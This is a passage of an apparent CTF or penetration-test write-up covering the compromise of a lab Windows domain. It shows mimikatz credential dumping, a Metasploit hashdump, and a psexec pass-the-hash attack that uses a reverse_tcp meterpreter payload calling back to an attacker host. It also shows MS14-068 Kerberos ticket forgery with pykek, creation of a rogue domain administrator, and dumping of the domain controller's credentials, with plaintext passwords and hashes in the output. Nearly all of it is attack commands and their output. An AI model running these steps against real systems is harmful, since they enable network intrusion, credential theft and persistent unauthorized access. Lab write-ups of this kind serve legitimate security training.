*/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 111120 (00000000:0001b210) Session : RemoteInteractive from 2 User Name : Administrator Domain : MASTER Logon Server : MASTER Logon Time : 2015/9/7 11:46:22 SID : S-1-5-21-30580861-1793299886-3410204933-500 msv : [00000003] Primary * Username : Administrator * Domain : MASTER * LM : b4d9e05213448dbd263365ce2184209e * NTLM : 68f8b3e056dc171163f597288f47607e * SHA1 : 50af106ec94c0739cd235d8a858f6e4fb255b3d0 tspkg : * Username : Administrator * Domain : MASTER * Password : 6GbA6Crdw wdigest : * Username : Administrator * Domain : MASTER * Password : 6GbA6Crdw kerberos : * Username : hanlei * Domain : PENTEST.COM * Password : (null) ssp : credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : MASTER$ Domain : PENTEST Logon Server : (null) Logon Time : 2015/9/7 11:45:58 SID : S-1-5-20 msv : [00000003] Primary * Username : MASTER$ * Domain : PENTEST * NTLM : af55bb72b1ca4ea6a3eac30216fac37b * SHA1 : 24e18ef140a487fa902f65a75db4cd075414656c tspkg : wdigest : * Username : MASTER$ * Domain : PENTEST * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0 kerberos : * Username : master$ * Domain : PENTEST.COM * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0 ssp : credman : Authentication Id : 0 ; 35562 (00000000:00008aea) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2015/9/7 11:45:56 SID : msv : [00000003] Primary * Username : MASTER$ * Domain : PENTEST * NTLM : af55bb72b1ca4ea6a3eac30216fac37b * SHA1 : 24e18ef140a487fa902f65a75db4cd075414656c tspkg : wdigest : kerberos : ssp : credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2015/9/7 11:45:58 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : MASTER$ Domain : PENTEST Logon Server : (null) Logon Time : 2015/9/7 11:45:56 SID : S-1-5-18 msv : tspkg : wdigest : * Username : MASTER$ * Domain : PENTEST * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0 kerberos : * Username : master$ * Domain : PENTEST.COM * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0 ssp : credman : mimikatz # exit Bye! ``` We can also use **metasploit module exploit/windows/mssql/mssql\_payload** to get meterpreter shell. ``` msf post(hashdump) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DATABASE 10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200) msf post(hashdump) > run [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 89e7950dda3ecc11525391db37acf6a8... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Post module execution completed msf post(hashdump) > creds Credentials =========== host origin service public private realm private_type ---- ------ ------- ------ ------- ----- ------------ 10.1.222.200 10.1.222.200 445/tcp (smb) administrator aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e NTLM hash 10.1.222.200 10.1.222.200 445/tcp (smb) guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash msf post(hashdump) > use post/windows/gather/credentials/sso msf post(sso) > show options Module options (post/windows/gather/credentials/sso): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. msf post(sso) > set SESSION 1 SESSION => 1 msf post(sso) > run [*] Running module against DATABASE [-] x64 platform requires x64 meterpreter and mimikatz extension [*] Post module execution completed meterpreter > load mimikatz Loading extension mimikatz... [!] Loaded x86 Mimikatz on an x64 architecture. success. ``` We have got a meterpreter shell, and dumped windows users hash. When we use mimikatz, it shows us "Loaded x86 Mimikatz on an x64 architecture". Target is windows 2008 x64, and x64 meterpreter shell is needed. Hash is here, we can use **exploit/windows/smb/psexec** to exploit the target. ``` msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 10.1.222.200 yes The target address RPORT 445 yes Set the SMB service port SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e no The password for the specified username SMBUser administrator no The username to authenticate as Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none) LHOST 10.255.254.23 yes The listen address LPORT 8090 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > run [*] Started reverse handler on 10.255.254.23:8090 [*] Connecting to the server... [*] Authenticating to 10.1.222.200:445|WORKGROUP as user 'administrator'... [*] Uploading payload... [*] Created \kNXUXXOu.exe... [+] 10.1.222.200:445 - Service started successfully... [*] Sending stage (1105970 bytes) to 10.1.222.200 [*] Deleting \kNXUXXOu.exe... [*] Meterpreter session 2 opened (10.255.254.23:8090 -> 10.1.222.200:56977) at 2015-09-08 13:41:18 +0000 meterpreter > load mimikatz Loading extension mimikatz...meterpreter > ``` BINGO ! ---- ### 10.1.222.201 access 10.1.222.201 with **Administrator/6GbA6Crdw**. On Administrator's desktop, a mstsc client here. ``` C:\Users\Desktop\Administrator\mstsc ``` #### MS14-068 Escalete windows domain admins privilege with ms14-068. we need access 10.1.222.201 from 10.1.222.200. ``` msf exploit(psexec) > route add 10.1.222.201 255.255.255.255 2 ``` session 1 is x86 meterpreter shell, session 2 is x64 meterpreter shell. Pwn 10.1.222.201 with **exploit/windows/smb/psexec** again as follow. ``` msf exploit(psexec) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DATABASE 10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200) 2 meterpreter x64/win64 NT AUTHORITY\SYSTEM @ DATABASE 10.255.254.23:8090 -> 10.1.222.200:56977 (10.1.222.200) 3 meterpreter x64/win64 NT AUTHORITY\SYSTEM @ MASTER 10.255.254.23-10.1.222.200:0 -> 10.1.222.201:8090 (10.1.222.201) ``` we need access Windows DC - 10.1.222.202 from 10.1.222.201. Exploit Windows DC with ms14-068: ``` msf auxiliary(ms14_068_kerberos_checksum) > show options Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum): Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN PENTEST.COM yes The Domain (upper case) Ex: DEMO.LOCAL PASSWORD file:/tmp/pass.txt yes The Domain User password RHOST 10.1.222.202 yes The target address RPORT 88 yes The target port Timeout 10 yes The TCP timeout to establish connection and read data USER MASTER yes The Domain User USER_SID S-1-5-21-30580861-1793299886-3410204933-1008 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000 msf auxiliary(ms14_068_kerberos_checksum) > run [*] Validating options... [*] Using domain PENTEST.COM... [*] 10.1.222.202:88 - Sending AS-REQ... [!] 10.1.222.202:88 - KDC_ERR_PREAUTH_FAILED - Pre-authentication information was invalid [-] 10.1.222.202:88 - Invalid AS-REP, aborting... [*] Auxiliary module execution completed C:\Windows\system32>wmic useraccount get name,sid wmic useraccount get name,sid Name SID Administrator S-1-5-21-30580861-1793299886-3410204933-500 Guest S-1-5-21-30580861-1793299886-3410204933-501 Administrator S-1-5-21-30580861-1793299886-3410204933-500 Guest S-1-5-21-30580861-1793299886-3410204933-501 krbtgt S-1-5-21-30580861-1793299886-3410204933-502 hanlei S-1-5-21-30580861-1793299886-3410204933-1110 ctfcx S-1-5-21-30580861-1793299886-3410204933-1111 ``` metasploit fails to exploit MS14-068 vulnerability. Try pykek again. ``` C:\Users\Administrator\Desktop\pykek-master>C:\Python27\python.exe ms14-068.py -u master@PENTEST.COM -s S-1-5-21-30580861-1793299886-3410204933-1008 -d DC.PENTEST.COM Password: [+] Building AS-REQ for DC.PENTEST.COM... Done ! [+] Sending AS-REQ to DC.PENTEST.COM... Done! [+] Receiving AS-REP from DC.PENTEST.COM... Done! [+] Parsing AS-REP from DC.PENTEST.COM... Done! [+] Building TGS-REQ for DC.PENTEST.COM... Done! [+] Sending TGS-REQ to DC.PENTEST.COM... Done! [+] Receiving TGS-REP from DC.PENTEST.COM... Done! [+] Parsing TGS-REP from DC.PENTEST.COM... Done! [+] Creating ccache file 'TGT_master@PENTEST.COM.ccache'... Done! ``` ``` C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe mimikatz.exe .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 16 modules * * */ mimikatz # kerberos::ptc TGT_master@PENTEST.COM.ccache Principal : (01) : MASTER ; @ PENTEST.COM Data 0 Start/End/MaxRenew: 2015/9/8 22:55:52 ; 2015/9/9 8:55:52 ; 2015/9/15 22:55:52 Service Name (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM Target Name (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM Client Name (01) : MASTER ; @ PENTEST.COM Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x00000017 - rc4_hmac_nt e42591d39858f8e3b0d16334351b692d Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK mimikatz # exit Bye! C:\Users\Administrator\Desktop\mimikatz_trunk\x64>klist klist ��ǰ��¼ ID �� 0:0x3e7 ������Ʊ֤: (1) #0> �ͻ���: MASTER @ PENTEST.COM ������: krbtgt/PENTEST.COM @ PENTEST.COM Kerberos Ʊ֤��������: RSADSI RC4-HMAC(NT) Ʊ֤��־ 0x50a00000 -> forwardable proxiable renewable pre_authent ��ʼʱ��: 9/8/2015 22:55:52 (����) ����ʱ��: 9/9/2015 8:55:52 (����) ����ʱ��: 9/15/2015 22:55:52 (����) �Ự��Կ����: RSADSI RC4-HMAC(NT) ``` hoho ! We've got domain admins privilege. ``` C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user /domain net user /domain �������������� pentest.com ���������������� \\DC.pentest.com ���û��ʻ� ------------------------------------------------------------------------------- Administrator ctfcx Guest hanlei krbtgt �����������ϣ�������һ����������� C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" /domain net group "DOMAIN ADMINS" /domain �������������� pentest.com ���������������� ���� Domain Admins ע�� ָ����������Ա ��Ա C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net use \\DC.PENTEST.COM\ipc$ net use \\DC.PENTEST.COM\ipc$ �����ɹ����ɡ� C:\Users\Administrator\Desktop\mimikatz_trunk\x64>dir \\DC.PENTEST.COM\c$\ dir \\DC.PENTEST.COM\c$\ ������ \\DC.PENTEST.COM\c$ �еľ�û�б�ǩ�� �������к��� 403D-792F \\DC.PENTEST.COM\c$ ��Ŀ¼ 2015/08/19 10:25 <DIR> inetpub 2009/07/14 11:20 <DIR> PerfLogs 2015/08/13 14:58 <DIR> Program Files 2015/08/13 14:58 <DIR> Program Files (x86) 2015/09/08 09:20 <DIR> Users 2015/08/24 16:56 <DIR> Windows 0 ���ļ� 0 �ֽ 6 ��Ŀ¼ 25,048,915,968 �����ֽ ------------------------------------------------------------------------------- Administrator ctfcx �����ɹ����ɡ� ``` ### Read Flags ``` C:\>klist C:\>net use \\DC.pentest.com\admin$ C:\>net use k: \\DC.pentest.com\c$ C:\>type k:\file.sys ``` Flags as follow: ``` Hi dude, Congratulations! You have my ass!! this is the flag:4b329655c2275d7c956083dc899b1c89 Have a good day! ``` ### Add A Domain Administrator ``` C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user demo pasPAS1234~ /add /domain net user demo pasPAS1234~ /add /domain �������������� pentest.com ���������������� �����ɹ����ɡ� C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" demo /add /domain net group "DOMAIN ADMINS" demo /add /domain �������������� pentest.com ���������������� �����ɹ����ɡ� ``` ---- ### 10.1.222.202 Pwn windows DC with demo/pasPAS1234~. ``` meterpreter > ssp [+] Running as SYSTEM [*] Retrieving ssp credentials ssp credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate PENTEST DC$ lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478dca0 } 0;35844 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478dca0 } 0;145416 Kerberos PENTEST administrator lm{ 00000000000000000000000000000000 }, ntlm{ 68a02ebe899dcb737cefa52adc48cafd } 0;1278946 Negotiate PENTEST demo lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b40c } 0;1278920 Kerberos PENTEST demo lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b40c } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;999 Negotiate PENTEST DC$ n.s. (Credentials KO) meterpreter > livessp [+] Running as SYSTEM [*] Retrieving livessp credentials livessp credentials =================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;1278946 Negotiate PENTEST demo n.a. (livessp KO) 0;1278920 Kerberos PENTEST demo n.a. (livessp KO) 0;145416 Kerberos PENTEST administrator n.a. (livessp KO) 0;996 Negotiate PENTEST DC$ n.a. (livessp KO) 0;35844 NTLM n.a. (livessp KO) 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.a. (livessp KO) 0;999 Negotiate PENTEST DC$ n.a. (livessp KO) meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;35844 NTLM 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;999 Negotiate PENTEST DC$ 77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da 08 a5 fc e8 57 f1 6f 78 66 d8 bf 60 fd fb 18 56 ea 1a f7 06 b8 fa fd 9a d7 1d 61 44 9a ee ea 81 57 73 b7 c2 1d d2 ba 6b bb ec f1 97 f1 26 1b fc 2e e6 a3 21 90 62 7b f1 5b 72 4e c2 43 cc 74 cb 98 f9 7f 74 66 4e 04 fa b1 a4 71 4e 69 50 37 bc 3e 7b 8f 25 75 10 01 8e aa 99 62 72 96 e7 69 66 24 b4 57 a6 ce 49 cb b3 8e a0 fa e7 c2 05 d8 cb b1 55 07 2f 34 6e b9 de ae 4e 5d 98 d2 6f 56 56 0a 8e 6f 99 d2 d0 cf 2c 19 70 d9 2a 49 ba 49 8f 77 bf 15 85 74 a2 98 e4 99 df d4 3d 1c d4 35 c6 3b 0c 84 d7 e8 48 bf 0b 5b 62 b8 e5 0b 42 cd 5b 17 5f d9 13 9c 1e 5e 0c 44 d5 00 83 3b 5f f9 83 66 98 6d 6a e5 15 8f 27 35 82 bc 2e 52 e5 59 a2 17 5c 09 5a a9 56 a0 0;996 Negotiate PENTEST DC$ 77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da 08 a5 fc e8 57 f1 6f 78 66 d8 bf 60 fd fb 18 56 ea 1a f7 06 b8 fa fd 9a d7 1d 61 44 9a ee ea 81 57 73 b7 c2 1d d2 ba 6b bb ec f1 97 f1 26 1b fc 2e e6 a3 21 90 62 7b f1 5b 72 4e c2 43 cc 74 cb 98 f9 7f 74 66 4e 04 fa b1 a4 71 4e 69 50 37 bc 3e 7b 8f 25 75 10 01 8e aa 99 62 72 96 e7 69 66 24 b4 57 a6 ce 49 cb b3 8e a0 fa e7 c2 05 d8 cb b1 55 07 2f 34 6e b9 de ae 4e 5d 98 d2 6f 56 56 0a 8e 6f 99 d2 d0 cf 2c 19 70 d9 2a 49 ba 49 8f 77 bf 15 85 74 a2 98 e4 99 df d4 3d 1c d4 35 c6 3b 0c 84 d7 e8 48 bf 0b 5b 62 b8 e5 0b 42 cd 5b 17 5f d9 13 9c 1e 5e 0c 44 d5 00 83 3b 5f f9 83 66 98 6d 6a e5 15 8f 27 35 82 bc 2e 52 e5 59 a2 17 5c 09 5a a9 56 a0 0;145416 Kerberos PENTEST administrator This is long Password!@# 0;1278920 Kerberos PENTEST demo pasPAS1234~ 0;1278946 Negotiate PENTEST demo pasPAS1234~ ```
sec-knowleage